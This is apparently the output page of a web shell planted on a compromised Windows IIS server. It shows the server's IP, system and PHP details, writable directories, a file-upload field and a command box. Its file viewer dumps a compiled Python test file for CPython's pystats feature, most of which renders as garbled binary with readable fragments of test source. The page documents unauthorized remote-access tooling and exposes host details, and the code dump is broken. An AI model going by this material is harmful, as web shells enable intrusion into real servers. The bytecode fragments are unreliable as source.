403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_pystats.cpython-315.opt-2.pyc
R
>lqj�c���]PHs]PHs]PHs]QHGs\\Q2sQs,P1Qks\O\Q2QQ\O22s\Q6Xc\O2P!P!)	�)�
script_helper�	_stats_ona
    import sys
    import threading
    import time

    THREADS = 2

    class A:
        pass

    class B:
        pass

    def modify_class():
        # This is used as a rare event we can assume doesn't happen unless we do it.
        # It increments the "Rare event (set_class)" count.
        a = A()
        a.__class__ = B

    TURNED_ON = False
    def stats_on():
        global TURNED_ON
        sys._stats_on()
        TURNED_ON = True

    TURNED_OFF = False
    def stats_off():
        global TURNED_OFF
        sys._stats_off()
        TURNED_OFF = True

    CLEARED = False
    def stats_clear():
        global CLEARED
        sys._stats_clear()
        CLEARED = True

    def func_start():
        pass

    def func_end():
        pass

    def func_test(thread_id):
        pass

    _TEST_CODE_

    func_start()
    threads = []
    for i in range(THREADS):
        t = threading.Thread(target=func_test, args=(i,))
        threads.append(t)
        t.start()
    for t in threads:
        t.join()
    func_end()
    c��[O[2oUOQ[OU22oUQU,*oS9%f-o[O
U-U@vqVUOOQQ2oUOQ2FD1oQU7fJUOQ2vq�o
U
O2t!	P!)�_TEST_CODE_z-c�ascii�backslashreplace�
zRare event (set_class)�:)�textwrap�dedent�
TEST_TEMPLATE�replacer�run_python_until_end�err�decode�split�	partition�strip)�	test_code�args�env_vars�code�script_args�res�_�stderr�line�label�values&&&        �&C:\Python315\\Lib\test\test_pystats.py�
run_test_coder Es����?�?�=�)�D��<�<�
�x���y�'A�B�D��$���%�K��~�~�2�H�
�
/�
/��
I��
I�F�C�
�W�W�^�^�G�%7�
8�F����T�"��#�t�+�"�n�n�S�1�O�E�e��;�;�=� �#��zrequires pystats build optionc�@`�\sQs]YsnQsQsQsQsQsQs	Us
P!)�TestPyStatsc��Qo[UQQ,Q5oUOUQ2[UQQ-Q5oUOUQ2[U2oUOUP2Qo[U2oUOUQ2P!)z>
        def func_start():
            modify_class()
        �-X�pystats�r�1�PYTHONSTATS)rzu
        def func_start():
            modify_class()
            sys._stats_on()
            modify_class()
        �r �assertEqual��selfr�
stat_counts&  r�test_stats_toggle_on� TestPyStats.test_stats_toggle_on_s�����#�4�t�Y�.?�@�
�����S�)�#�4�=�#�2F�G�
�����S�)�#�4�(�
�����R�(���#�4�(�
�����S�)r!c��Qo[U2oUOUQ2Qo[UQQ,Q5oUOUQ2P!)a
        def func_test(thread_id):
            if thread_id == 0:
                modify_class()
                stats_on()
                modify_class()
            else:
                while not TURNED_ON:
                    pass
                modify_class()
        �2a
        def func_test(thread_id):
            if thread_id == 0:
                modify_class()
                stats_off()
                modify_class()
            else:
                while not TURNED_OFF:
                    pass
                modify_class()
        r%r&r'r(r*r,s&  r�test_stats_toggle_on_thread�'TestPyStats.test_stats_toggle_on_thread~sO��
��#�4�(�
�����S�)�
��#�4�t�Y�.?�@�
�����S�)r!c�N�Qo[UQQ,Q5oUOUQ2P!)z�
        def func_test(thread_id):
            modify_class()
            if thread_id == 0:
                raise SystemExit
        r%r&r'r2r*r,s&  r�test_thread_exit_merge�"TestPyStats.test_thread_exit_merge�s,����#�4�t�Y�.?�@�
�����S�)r!c�F�Qo[U2oUOUQ2P!)a
        def func_test(thread_id):
            if thread_id == 0:
                stats_on()
            else:
                while not TURNED_ON:
                    pass
                modify_class()
                sys._stats_dump()
                stats_off()
        r(r*r,s&  r�test_stats_dump�TestPyStats.test_stats_dump�s%��
��#�4�(�
�����S�)r!c�F�Qo[U2oUOUQ2P!)a�
        ready = False
        def func_test(thread_id):
            global ready
            if thread_id == 0:
                stats_on()
                modify_class()
                while not ready:
                    pass  # wait until other thread has called modify_class()
                stats_clear()  # clears stats for all threads
            else:
                while not TURNED_ON:
                    pass
                modify_class()
                ready = True
        �0r*r,s&  r�test_stats_clear�TestPyStats.test_stats_clear�s%����"#�4�(�
�����S�)r!�)�__name__�
__module__�__qualname__�__firstlineno__r/r3r6r9r=�__static_attributes__�__classdictcell__)�
__classdict__s@rr#r#Ys$����*�>*�B*�*�$*�*r!r#�__main__)�sysr
�unittest�test.supportr�hasattr�HAVE_PYSTATSrr �
skipUnless�TestCaser#r@�mainr?r!r�<module>rPs���
���&��s�K�(��9�
�|
�
��(
���\�#B�C�y*�(�#�#�y*�D�y*�x�z���M�M�O�r!

Youez - 2016 - github.com/yon3zu
LinuXploit